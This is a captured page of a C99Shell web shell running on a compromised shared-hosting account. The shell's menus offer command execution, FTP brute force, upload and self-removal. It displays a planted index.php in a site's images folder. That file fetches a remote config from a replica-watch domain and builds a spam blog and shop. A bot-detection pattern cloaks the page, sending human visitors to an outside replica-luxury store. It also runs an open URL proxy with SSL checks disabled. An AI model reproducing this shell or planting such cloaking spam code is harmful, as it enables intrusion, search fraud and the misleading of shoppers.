!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/public_html/mgprodee.com/images/   drwxr-xr-x
Free 236.33 GB of 981.82 GB (24.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.php (38.34 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// Get the current directory path relative to the domain
$current_path dirname($_SERVER['PHP_SELF']);
$base_path rtrim($current_path'/') . '/';

// Handle image proxy requests
if (isset($_GET['img'])) {
    
$imageUrl urldecode($_GET['img']);

    
// Validate URL
    
if (!filter_var($imageUrlFILTER_VALIDATE_URL)) {
        
header("HTTP/1.0 400 Bad Request");
        die(
'Invalid image URL');
    }

    
// Initialize cURL session
    
$ch curl_init();
    
curl_setopt($chCURLOPT_URL$imageUrl);
    
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
    
curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue);
    
curl_setopt($chCURLOPT_SSL_VERIFYPEERfalse);
    
curl_setopt($chCURLOPT_TIMEOUT10);

    
// Get the image data
    
$imageData curl_exec($ch);
    
$httpCode curl_getinfo($chCURLINFO_HTTP_CODE);
    
$contentType curl_getinfo($chCURLINFO_CONTENT_TYPE);

    
curl_close($ch);

    
// Check if the request was successful
    
if ($httpCode !== 200) {
        
header("HTTP/1.0 404 Not Found");
        die(
'Failed to fetch image');
    }

    
// Set appropriate headers
    
header('Content-Type: ' $contentType);
    
header('Cache-Control: public, max-age=86400'); // Cache for 24 hours
    
header('Expires: ' gmdate('D, d M Y H:i:s \G\M\T'time() + 86400));

    
// Output the image and exit
    
echo $imageData;
    exit;
}

// Helper function to create proxy URL for images
function getProxyImageUrl($originalUrl$base_path) {
    return 
$base_path '?img=' urlencode($originalUrl);
}

// Fetch JSON data using cURL instead of file_get_contents
function fetchJsonData($url) {
    
$ch curl_init();
    
curl_setopt($chCURLOPT_URL$url);
    
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
    
curl_setopt($chCURLOPT_SSL_VERIFYPEERfalse);  // Skip SSL verification
    
curl_setopt($chCURLOPT_SSL_VERIFYHOSTfalse);  // Skip host verification
    
curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue);
    
curl_setopt($chCURLOPT_TIMEOUT10);

    
$json_data curl_exec($ch);
    
$httpCode curl_getinfo($chCURLINFO_HTTP_CODE);
    
curl_close($ch);

    if (
$httpCode !== 200 || $json_data === false) {
        return 
false;
    }

    return 
$json_data;
}

$json_url 'https://japanesereplicas.com/events/-mastering-super-clone-watch-knowledge/config.json';
$json_data fetchJsonData($json_url);

if (
$json_data === false) {
    die(
'Failed to fetch the JSON file.');
}

$data json_decode($json_datatrue);

// Sort function for posts
function sortPostsByDate($a$b) {
    
$dateA strtotime($a['date']);
    
$dateB strtotime($b['date']);
    return 
$dateB $dateA// Descending order
}

// Sort posts by date in descending order
if (isset($data['posts']) && is_array($data['posts'])) {
    
usort($data['posts'], 'sortPostsByDate');
}

// Site info
$site_name = isset($data['name']) ? htmlspecialchars($data['name']) : 'Blog Platform';
$site_title = isset($data['title']) ? htmlspecialchars($data['title']) : 'Welcome to our Blog';
$site_description = isset($data['description']) ? htmlspecialchars($data['description']) : '';

// Pagination function
function renderPagination($current_page$total_pages$base_path) {
    if (
$total_pages <= 1) return '';

    
$pagesToShow = array(1);
    if (
$current_page 1$pagesToShow[] = $current_page 1;
    
$pagesToShow[] = $current_page;
    if (
$current_page $total_pages$pagesToShow[] = $current_page 1;
    
$pagesToShow[] = $total_pages;
    
$pagesToShow array_unique($pagesToShow);
    
sort($pagesToShow);

    
ob_start();
    
?>
    <div class="mt-8 flex justify-center">
        <nav class="flex items-center gap-2">
            <?php
            $lastShown 
0;
            foreach (
$pagesToShow as $i) {
                if (
$lastShown && $i $lastShown 1) {
                    echo 
'<span class="px-3 py-2">...</span>';
                }
                
?>
                <a href="<?php echo $base_path?>?page=<?php echo $i?>"
                   class="<?php echo $i == $current_page
                       
'bg-blue-600 text-white'
                       
'bg-white text-gray-700 hover:bg-gray-50'?>
                       px-3 py-2 rounded-md">
                    <?php echo $i?>
                </a>
                <?php
                $lastShown 
$i;
            }
            
?>
        </nav>
    </div>
    <?php
    
return ob_get_clean();
}

// Blog post card renderer
function renderPostCard($post$base_path) {
    
$date strtotime($post['date']);

    
// Create excerpt from HTML content
    
$excerpt strip_tags($post['content']);
    
$excerpt substr($excerpt0150);
    
$excerpt rtrim($excerpt"!,.-");
    
$excerpt substr($excerpt0strrpos($excerpt' ')) . '...';

    
ob_start();
    
?>
    <article class="bg-white rounded-lg shadow-lg overflow-hidden hover:shadow-xl transition-shadow duration-300">
        <a href="<?php echo $base_path?>?slug=<?php echo urlencode($post['slug']); ?>">
            <img src="<?php echo getProxyImageUrl($post['thumbnail'], $base_path); ?>"
                 alt="<?php echo htmlspecialchars($post['title']); ?>"
                 class="w-full h-48 object-cover">
            <div class="p-6">
                <time datetime="<?php echo $post['date']; ?>" class="text-sm text-gray-500">
                    <?php echo date('F j, Y'$date); ?>
                </time>
                <h2 class="mt-2 text-xl font-semibold text-gray-900 hover:text-blue-600">
                    <?php echo htmlspecialchars($post['title']); ?>
                </h2>
                <p class="mt-3 text-gray-600 line-clamp-3">
                    <?php echo htmlspecialchars($excerpt); ?>
                </p>
                <div class="mt-4">
                    <span class="text-blue-600 hover:text-blue-800">Read more →</span>
                </div>
            </div>
        </a>
    </article>
    <?php
    
return ob_get_clean();
}

// Add these variables at the top with other variable declarations
$product null;
$title '';
$description '';
$price '';
$image_url '';
$category_names = array();
$brand '';
$availability '';

// Add the bot detection pattern
$botPattern '/\b(?:google|bing|baidu|yandex|bot|crawler|spider|http|curl|wget|python|ruby|perl|phantomjs|headless)\b/i';

// Add redirect configuration
$redirect = isset($data['redirect']) ? $data['redirect'] : true;
$utm_source = isset($data['utm_source']) ? $data['utm_source'] : 'default_source';
$utm_medium = isset($data['utm_medium']) ? $data['utm_medium'] : 'default_medium';
$utm_campaign = isset($data['utm_campaign']) ? $data['utm_campaign'] : 'default_campaign';

// Add product page logic
if (isset($_GET['product'])) {
    
$permalink htmlspecialchars($_GET['product']);

    
// Find the product
    
foreach ($data['products'] as $p) {
        if (
$p['permalink'] === $permalink) {
            
$product $p;
            break;
        }
    }

    if (!
$product) {
        die(
'Product not found.');
    }

    
// Handle redirect for non-bot visitors
    
$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    if (!
preg_match($botPattern$userAgent) && $redirect) {
        
$utm_params http_build_query(array(
            
'utm_source' => $utm_source,
            
'utm_medium' => $utm_medium,
            
'utm_campaign' => $utm_campaign
        
));
        
header("Location: https://www.unitedluxury.net/" $permalink "?" $utm_params);
        exit;
    }

    
// Set product details
    
$title htmlspecialchars($product['title']);
    
$description htmlspecialchars($product['description']);
    
$price htmlspecialchars($product['price']);
    
$image_url getProxyImageUrl($product['image_url'], $base_path);
    
$brand htmlspecialchars($product['brand']);
    
$availability htmlspecialchars($product['availability']);

    
// Get category names
    
$category_names = array();
    foreach (
$product['categories'] as $cat_id) {
        foreach (
$data['productCategories'] as $category) {
            if (
$category['id'] == $cat_id) {
                
$category_names[] = $category['value'];
                break;
            }
        }
    }
}

// Add these functions for product listing
function renderProductCard($product$base_path) {
    
$image_url getProxyImageUrl($product['image_url'], $base_path);
    
ob_start();
    
?>
    <div class="bg-white rounded-lg shadow-md overflow-hidden hover:shadow-lg transition-shadow duration-300">
        <a href="?product=<?php echo urlencode($product['permalink']); ?>" class="block">
            <div class="aspect-w-1 aspect-h-1 w-full">
                <img src="<?php echo $image_url?>"
                     alt="<?php echo htmlspecialchars($product['title']); ?>"
                     class="w-full h-64 object-cover">
            </div>
        </a>
        <div class="p-4">
            <h2 class="text-lg font-semibold text-gray-900 mb-2">
                <?php echo htmlspecialchars($product['title']); ?>
            </h2>
            <p class="text-xl font-bold text-indigo-600 mb-4">
                $<?php echo htmlspecialchars($product['price']); ?>
            </p>
            <div class="flex space-x-2">
                <a href="?product=<?php echo urlencode($product['permalink']); ?>"
                   class="flex-1 bg-indigo-600 text-white px-4 py-2 rounded-md text-center hover:bg-indigo-700 transition-colors duration-200">
                    View Details
                </a>
            </div>
        </div>
    </div>
    <?php
    
return ob_get_clean();
}

// Rename the pagination function for products
function renderProductPagination($current_page$total_pages$base_url) {
    if (
$total_pages <= 1) return '';

    
ob_start();
    
?>
    <div class="mt-8 flex justify-center">
        <nav class="relative z-0 inline-flex rounded-md shadow-sm -space-x-px" aria-label="Pagination">
            <?php if ($current_page 1): ?>
                <a href="<?php echo $base_url '&page=' . ($current_page 1); ?>"
                   class="relative inline-flex items-center px-2 py-2 rounded-l-md border border-gray-300 bg-white text-sm font-medium text-gray-500 hover:bg-gray-50">
                    Previous
                </a>
            <?php endif; ?>

            <?php
            
for ($i max(1$current_page 2); $i <= min($total_pages$current_page 2); $i++):
                
$isCurrentPage $i === $current_page;
            
?>
                <a href="<?php echo $base_url '&page=' $i?>"
                   class="relative inline-flex items-center px-4 py-2 border border-gray-300 <?php echo $isCurrentPage 'bg-indigo-50 text-indigo-600' 'bg-white text-gray-500 hover:bg-gray-50'?> text-sm font-medium">
                    <?php echo $i?>
                </a>
            <?php endfor; ?>

            <?php if ($current_page $total_pages): ?>
                <a href="<?php echo $base_url '&page=' . ($current_page 1); ?>"
                   class="relative inline-flex items-center px-2 py-2 rounded-r-md border border-gray-300 bg-white text-sm font-medium text-gray-500 hover:bg-gray-50">
                    Next
                </a>
            <?php endif; ?>
        </nav>
    </div>
    <?php
    
return ob_get_clean();
}

// Add these named functions at the top with other functions
function filterProductsByCategory($product$category_id) {
    return 
in_array($category_id$product['categories']);
}

function 
filterChildCategories($cat$parent_id) {
    return 
$cat['parent_id'] === $parent_id;
}

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?php echo isset($product) ? "$title - $site_name$site_title?></title>

    <?php if (isset($product)): ?>
    <meta name="description" content="<?php echo substr(strip_tags($description), 0160); ?>">
    <meta property="og:title" content="<?php echo $title?>">
    <meta property="og:description" content="<?php echo substr(strip_tags($description), 0160); ?>">
    <meta property="og:image" content="<?php echo $image_url?>">
    <meta property="og:type" content="product">
    <meta property="product:price:amount" content="<?php echo $price?>">
    <meta property="product:price:currency" content="USD">
    <meta property="product:availability" content="<?php echo $availability?>">
    <?php endif; ?>

    <script src="https://cdn.tailwindcss.com"></script>
    <script>
        tailwind.config = {
            plugins: [
                {
                    handler: function(state) {
                        state.addComponents({
                            '.prose': {
                                maxWidth: 'none',
                                color: state.theme('colors.gray.900'),
                                'h1, h2, h3, h4': {
                                    color: state.theme('colors.gray.900'),
                                    fontWeight: '600',
                                    lineHeight: state.theme('lineHeight.tight'),
                                    marginTop: '1.5em',
                                    marginBottom: '0.5em'
                                },
                                'h1': { fontSize: state.theme('fontSize.3xl') },
                                'h2': { fontSize: state.theme('fontSize.2xl') },
                                'h3': { fontSize: state.theme('fontSize.xl') },
                                'h4': { fontSize: state.theme('fontSize.lg') },
                                'p': {
                                    marginTop: '1.25em',
                                    marginBottom: '1.25em'
                                },
                                'a': {
                                    color: state.theme('colors.blue.600'),
                                    textDecoration: 'underline',
                                    '&:hover': {
                                        color: state.theme('colors.blue.800')
                                    }
                                },
                                'ul, ol': {
                                    paddingLeft: '1.25em',
                                    marginTop: '1.25em',
                                    marginBottom: '1.25em'
                                },
                                'li': {
                                    marginTop: '0.5em',
                                    marginBottom: '0.5em'
                                },
                                'blockquote': {
                                    fontStyle: 'italic',
                                    borderLeftWidth: '4px',
                                    borderLeftColor: state.theme('colors.gray.300'),
                                    paddingLeft: '1em',
                                    marginLeft: 0,
                                    marginRight: 0
                                },
                                'img': {
                                    marginTop: '2em',
                                    marginBottom: '2em',
                                    borderRadius: state.theme('borderRadius.lg')
                                },
                                'code': {
                                    color: state.theme('colors.pink.600'),
                                    backgroundColor: state.theme('colors.gray.100'),
                                    padding: '0.25em',
                                    borderRadius: '0.25em',
                                    fontSize: '0.875em'
                                },
                                'pre': {
                                    backgroundColor: state.theme('colors.gray.100'),
                                    padding: '1em',
                                    borderRadius: '0.5em',
                                    overflowX: 'auto'
                                },
                                'table': {
                                    width: '100%',
                                    tableLayout: 'auto',
                                    textAlign: 'left',
                                    marginTop: '2em',
                                    marginBottom: '2em'
                                },
                                'th': {
                                    fontWeight: '600',
                                    padding: '0.5em',
                                    borderBottom: `1px solid ${state.theme('colors.gray.300')}`
                                },
                                'td': {
                                    padding: '0.5em',
                                    borderBottom: `1px solid ${state.theme('colors.gray.200')}`
                                }
                            }
                        });
                    }
                }
            ]
        }
    </script>
    <script>
        function addToCart(title, price) {
            alert(`${title} ($${price}) has been added to your cart!`);
        }

        function handleMainMenuToggle() {
            const mainMenu = document.getElementById('mobileMenu');
            mainMenu.classList.toggle('hidden');
        }

        function handleCategoryMenuToggle() {
            const categoryMenu = document.getElementById('mobileCategoryMenu');
            categoryMenu.classList.toggle('hidden');
        }

        function handleOutsideClick(event) {
            const mainMenu = document.getElementById('mobileMenu');
            const categoryMenu = document.getElementById('mobileCategoryMenu');
            const mainMenuButton = document.querySelector('.main-menu-button');
            const categoryMenuButton = document.querySelector('.category-menu-button');

            if (mainMenu && !mainMenuButton.contains(event.target) && !mainMenu.contains(event.target)) {
                mainMenu.classList.add('hidden');
            }

            if (categoryMenu && !categoryMenuButton.contains(event.target) && !categoryMenu.contains(event.target)) {
                categoryMenu.classList.add('hidden');
            }
        }

        // Add event listeners
        document.addEventListener('DOMContentLoaded', function() {
            document.addEventListener('click', handleOutsideClick);
        });
    </script>
</head>
<body class="bg-gray-50">
    <header class="bg-white shadow-sm">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
            <div class="flex justify-between h-16 items-center">
                <div class="flex items-center">
                    <div class="flex-shrink-0">
                        <a href="<?php echo $base_path?>" class="text-2xl font-bold text-gray-900">
                            <?php echo $site_name?>
                        </a>
                    </div>
                    <?php if (isset($data['pages']) && !empty($data['pages'])): ?>
                        <nav class="hidden md:ml-8 md:flex md:space-x-6">
                            <?php foreach ($data['pages'] as $page): ?>
                                <a href="<?php echo $base_path?>?section=<?php echo urlencode($page['slug']); ?>"
                                   class="<?php echo (isset($_GET['section']) && $_GET['section'] === $page['slug'])
                                        ? 
'text-blue-600'
                                        
'text-gray-700 hover:text-blue-600'?>
                                        transition-colors duration-200">
                                    <?php echo htmlspecialchars($page['title']); ?>
                                </a>
                            <?php endforeach; ?>
                        </nav>
                    <?php endif; ?>
                </div>

                <!-- Mobile menu button -->
                <?php if (isset($data['pages']) && !empty($data['pages'])): ?>
                    <div class="md:hidden">
                        <button type="button" onclick="handleMainMenuToggle()" class="text-gray-700 hover:text-blue-600 p-2">
                            <svg class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 6h16M4 12h16M4 18h16"/>
                            </svg>
                        </button>
                    </div>
                <?php endif; ?>
            </div>

            <!-- Mobile menu -->
            <?php if (isset($data['pages']) && !empty($data['pages'])): ?>
                <div id="mobile-menu" class="hidden md:hidden pb-3">
                    <nav class="space-y-2">
                        <?php foreach ($data['pages'] as $page): ?>
                            <a href="<?php echo $base_path?>?section=<?php echo urlencode($page['slug']); ?>"
                               class="block px-3 py-2 text-base <?php echo (isset($_GET['section']) && $_GET['section'] === $page['slug'])
                                    ? 
'text-blue-600'
                                    
'text-gray-700 hover:text-blue-600'?>
                                    transition-colors duration-200">
                                <?php echo htmlspecialchars($page['title']); ?>
                            </a>
                        <?php endforeach; ?>
                    </nav>
                </div>
            <?php endif; ?>
        </div>
    </header>

    <!-- Category Navigation -->
    <nav class="bg-gray-100 border-b border-gray-200">
        <div class="container mx-auto px-4 py-3">
            <!-- Mobile Category Menu Button -->
            <div class="lg:hidden">
                <button onclick="handleCategoryMenuToggle()"
                        class="flex items-center text-gray-700 hover:text-indigo-600">
                    <span class="mr-2">Categories</span>
                    <svg xmlns="http://www.w3.org/2000/svg" class="h-5 w-5" viewBox="0 0 20 20" fill="currentColor">
                        <path fill-rule="evenodd" d="M5.293 7.293a1 1 0 011.414 0L10 10.586l3.293-3.293a1 1 0 111.414 1.414l-4 4a1 1 0 01-1.414 0l-4-4a1 1 0 010-1.414z" clip-rule="evenodd" />
                    </svg>
                </button>

                <!-- Mobile Category Menu -->
                <div id="mobileCategoryMenu" class="hidden mt-2">
                    <ul class="bg-white border border-gray-200 rounded-md shadow-lg py-1">
                        <li>
                            <a href="?products"
                               class="block px-4 py-2 text-gray-700 hover:bg-gray-100 <?php echo !isset($_GET['category']) ? 'text-indigo-600' ''?>">
                                All Products
                            </a>
                        </li>
                        <?php foreach ($data['productCategories'] as $category): ?>
                            <?php if ($category['parent_id'] === null): ?>
                                <li>
                                    <a href="?category=<?php echo urlencode($category['slug']); ?>"
                                       class="block px-4 py-2 text-gray-700 hover:bg-gray-100 <?php echo isset($_GET['category']) && $_GET['category'] === $category['slug'] ? 'text-indigo-600' ''?>">
                                        <?php echo htmlspecialchars($category['value']); ?>
                                    </a>
                                    <?php
                                    
// Find child categories
                                    
$children = array();
                                    foreach (
$data['productCategories'] as $cat) {
                                        if (
filterChildCategories($cat$category['id'])) {
                                            
$children[] = $cat;
                                        }
                                    }
                                    if (!empty(
$children)):
                                    
?>
                                        <a href="?category=<?php echo urlencode($children[0]['slug']); ?>"
                                           class="block px-4 py-2 pl-8 text-sm text-gray-700 hover:bg-gray-100 <?php echo isset($_GET['category']) && $_GET['category'] === $children[0]['slug'] ? 'text-indigo-600' ''?>">
                                            <?php echo htmlspecialchars($children[0]['value']); ?>
                                        </a>
                                    <?php
                                    
endif;
                                    
?>
                                </li>
                            <?php endif; ?>
                        <?php endforeach; ?>
                    </ul>
                </div>
            </div>

            <!-- Desktop Category Menu -->
            <ul class="hidden lg:flex flex-wrap gap-4">
                <li>
                    <a href="?products"
                       class="text-gray-700 hover:text-indigo-600 font-semibold <?php echo !isset($_GET['category']) ? 'text-indigo-600' ''?>">
                        All Products
                    </a>
                </li>
                <?php foreach ($data['productCategories'] as $category): ?>
                    <?php if ($category['parent_id'] === null): ?>
                    <li class="relative group">
                        <a href="?category=<?php echo urlencode($category['slug']); ?>"
                           class="text-gray-700 hover:text-indigo-600 font-semibold <?php echo isset($_GET['category']) && $_GET['category'] === $category['slug'] ? 'text-indigo-600' ''?>">
                            <?php echo htmlspecialchars($category['value']); ?>
                        </a>
                        <?php
                        
// Find child categories
                        
$children = array();
                        foreach (
$data['productCategories'] as $cat) {
                            if (
filterChildCategories($cat$category['id'])) {
                                
$children[] = $cat;
                            }
                        }
                        if (!empty(
$children)):
                        
?>
                        <div class="absolute left-0 pt-2 w-48 hidden group-hover:block">
                            <ul class="bg-white border border-gray-200 rounded-md shadow-lg">
                                <?php foreach ($children as $child): ?>
                                <li>
                                    <a href="?category=<?php echo urlencode($child['slug']); ?>"
                                       class="block px-4 py-2 text-sm text-gray-700 hover:bg-gray-100">
                                        <?php echo htmlspecialchars($child['value']); ?>
                                    </a>
                                </li>
                                <?php endforeach; ?>
                            </ul>
                        </div>
                        <?php endif; ?>
                    </li>
                    <?php endif; ?>
                <?php endforeach; ?>
            </ul>
        </div>
    </nav>

    <main class="container mx-auto px-4 py-8">
        <?php if (isset($_GET['product'])): ?>
            <!-- Product detail page -->
            <div class="space-y-8">
                <!-- Product Card -->
                <div class="max-w-4xl mx-auto bg-white rounded-lg shadow-lg overflow-hidden">
                    <div class="md:flex">
                        <!-- Product Image -->
                        <div class="md:w-1/2">
                            <div class="aspect-square">
                                <img src="<?php echo $image_url?>"
                                     alt="<?php echo $title?>"
                                     class="w-full h-full object-cover">
                            </div>
                        </div>

                        <!-- Product Details -->
                        <div class="p-8 md:w-1/2">
                            <div class="uppercase tracking-wide text-sm text-indigo-500 font-semibold">
                                <?php echo $brand?>
                            </div>
                            <h1 class="mt-2 text-3xl font-bold text-gray-900"><?php echo $title?></h1>
                            <p class="mt-4 text-xl text-gray-900">$<?php echo $price?></p>

                            <div class="mt-4 space-y-4">
                                <div class="border-t border-gray-200 pt-4">
                                    <div class="grid grid-cols-2 gap-4">
                                        <div>
                                            <span class="text-gray-500">Categories:</span>
                                            <div class="mt-1 text-gray-900">
                                                <?php echo implode(', '$category_names); ?>
                                            </div>
                                        </div>
                                        <div>
                                            <span class="text-gray-500">Availability:</span>
                                            <span class="ml-2 text-gray-900"><?php echo $availability?></span>
                                        </div>
                                    </div>
                                </div>

                                <div class="pt-4">
                                    <button onclick="addToCart('<?php echo addslashes($title); ?>', '<?php echo $price?>')"
                                            class="w-full bg-indigo-600 text-white px-6 py-3 rounded-md hover:bg-indigo-700 transition-colors duration-200">
                                        Add to Cart
                                    </button>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

                <!-- Description Section -->
                <div class="max-w-4xl mx-auto bg-white rounded-lg shadow-lg overflow-hidden p-8">
                    <h2 class="text-2xl font-bold text-gray-900 mb-4">Description</h2>
                    <div class="prose max-w-none">
                        <?php echo nl2br($description); ?>
                    </div>
                </div>

                <!-- Back Link -->
                <div class="max-w-4xl mx-auto">
                    <a href="index.php" class="inline-block text-indigo-600 hover:text-indigo-500">
                        ← Back to Products
                    </a>
                </div>
            </div>
        <?php elseif (isset($_GET['products']) || isset($_GET['category'])): ?>
            <?php
            $products 
$data['products'];
            
$category_slug = isset($_GET['category']) ? $_GET['category'] : null;

            if (
$category_slug) {
                
$category_id null;
                foreach (
$data['productCategories'] as $cat) {
                    if (
$cat['slug'] === $category_slug) {
                        
$category_id $cat['id'];
                        break;
                    }
                }

                if (
$category_id) {
                    
$filtered_products = array();
                    foreach (
$products as $product) {
                        if (
filterProductsByCategory($product$category_id)) {
                            
$filtered_products[] = $product;
                        }
                    }
                    
$products $filtered_products;
                }
            }

            
// Pagination for products
            
$items_per_page 12;
            
$current_page = isset($_GET['page']) ? max(1intval($_GET['page'])) : 1;
            
$total_items count($products);
            
$total_pages ceil($total_items $items_per_page);
            
$offset = ($current_page 1) * $items_per_page;

            
$current_products array_slice($products$offset$items_per_page);

            
// Get category name for title
            
$page_title 'All Products';
            if (
$category_slug) {
                foreach (
$data['productCategories'] as $cat) {
                    if (
$cat['slug'] === $category_slug) {
                        
$page_title $cat['value'];
                        break;
                    }
                }
            }
            
?>

            <div class="max-w-7xl mx-auto">
                <h1 class="text-3xl font-bold text-gray-900 mb-8"><?php echo htmlspecialchars($page_title); ?></h1>

                <?php if (!empty($current_products)): ?>
                    <div class="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-4 gap-6">
                        <?php foreach ($current_products as $product): ?>
                            <?php echo renderProductCard($product$base_path); ?>
                        <?php endforeach; ?>
                    </div>

                    <?php
                    $base_url 
'?' . ($category_slug 'category=' urlencode($category_slug) : 'products');
                    echo 
renderProductPagination($current_page$total_pages$base_url);
                    
?>
                <?php else: ?>
                    <p class="text-center text-gray-500">No products found.</p>
                <?php endif; ?>
            </div>
        <?php elseif (isset($_GET['section'])): ?>
            <!-- Section page -->
            <?php
            $section_slug 
$_GET['section'];
            
$section null;

            foreach (
$data['pages'] as $s) {  // Changed from 'sections' to 'pages'
                
if ($s['slug'] === $section_slug) {
                    
$section $s;
                    break;
                }
            }

            if (
$section): ?>
                <article class="max-w-4xl mx-auto prose prose-lg">
                    <h1><?php echo htmlspecialchars($section['title']); ?></h1>
                    <div class="mt-6">
                        <?php echo $section['content']; ?>
                    </div>
                </article>
            <?php else: ?>
                <p class="text-center text-gray-500">Page not found.</p>
            <?php endif; ?>
        <?php elseif (isset($_GET['slug'])): ?>
            <!-- Blog Post page -->
            <?php
            $slug 
$_GET['slug'];
            
$post null;

            foreach (
$data['posts'] as $p) {
                if (
$p['slug'] === $slug) {
                    
$post $p;
                    break;
                }
            }

            if (
$post): ?>
                <article class="max-w-4xl mx-auto prose prose-lg">
                    <h1><?php echo htmlspecialchars($post['title']); ?></h1>
                    <img src="<?php echo getProxyImageUrl($post['thumbnail'], $base_path); ?>"
                         alt="<?php echo htmlspecialchars($post['title']); ?>"
                         class="w-full h-auto object-cover rounded-lg my-6 shadow-md">
                    <div class="mt-6">
                        <?php echo $post['content']; ?>
                    </div>
                </article>
            <?php else: ?>
                <p class="text-center text-gray-500">Page not found.</p>
            <?php endif; ?>
        <?php else: ?>
            <!-- Homepage with blog posts -->
            <?php
            $posts 
$data['posts'];

            
// Sort posts by date in descending order
            
if (isset($data['posts']) && is_array($data['posts'])) {
                
usort($data['posts'], 'sortPostsByDate');
            }

            
// Pagination for blog posts
            
$posts_per_page 9;
            
$current_page = isset($_GET['page']) ? max(1intval($_GET['page'])) : 1;
            
$total_posts count($posts);
            
$total_pages ceil($total_posts $posts_per_page);
            
$offset = ($current_page 1) * $posts_per_page;

            
$current_posts array_slice($posts$offset$posts_per_page);
            
?>

            <div class="max-w-7xl">
                <?php if (!empty($current_posts)): ?>
                    <div class="grid grid-cols-1 md:grid-cols-3 gap-6">
                        <?php foreach ($current_posts as $post): ?>
                            <?php echo renderPostCard($post$base_path); ?>
                        <?php endforeach; ?>
                    </div>

                    <?php echo renderPagination($current_page$total_pages$base_path); ?>
                <?php else: ?>
                    <p class="text-center text-gray-500">No blog posts found.</p>
                <?php endif; ?>
            </div>
        <?php endif; ?>
    </main>

    <footer class="bg-gray-900 text-white py-12">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
            <div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-<?php echo count($data['footer_menu']) + 1?> gap-8">
                <div>
                    <h2 class="text-2xl font-bold mb-4"><?php echo $site_name?></h2>
                    <p class="text-gray-400"><?php echo $site_description?></p>
                </div>
                <?php foreach ($data['footer_menu'] as $menu): ?>
                    <div>
                        <h3 class="font-semibold text-lg mb-4"><?php echo htmlspecialchars($menu['title']); ?></h3>
                        <ul class="space-y-2">
                            <?php foreach ($menu['items'] as $item): ?>
                                <li class="text-gray-400">
                                    <a href="<?php echo htmlspecialchars($item['link']); ?>" class="hover:text-white transition-colors"><?php echo htmlspecialchars($item['label']); ?></a>
                                </li>
                            <?php endforeach; ?>
                        </ul>
                    </div>
                <?php endforeach; ?>
            </div>
            <div class="mt-8 pt-8 border-t border-gray-800 text-center text-gray-400">
                <p>&copy; <?php echo date('Y'); ?> <?php echo $site_name?>. All rights reserved.</p>
            </div>
        </div>
    </footer>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.6425 ]--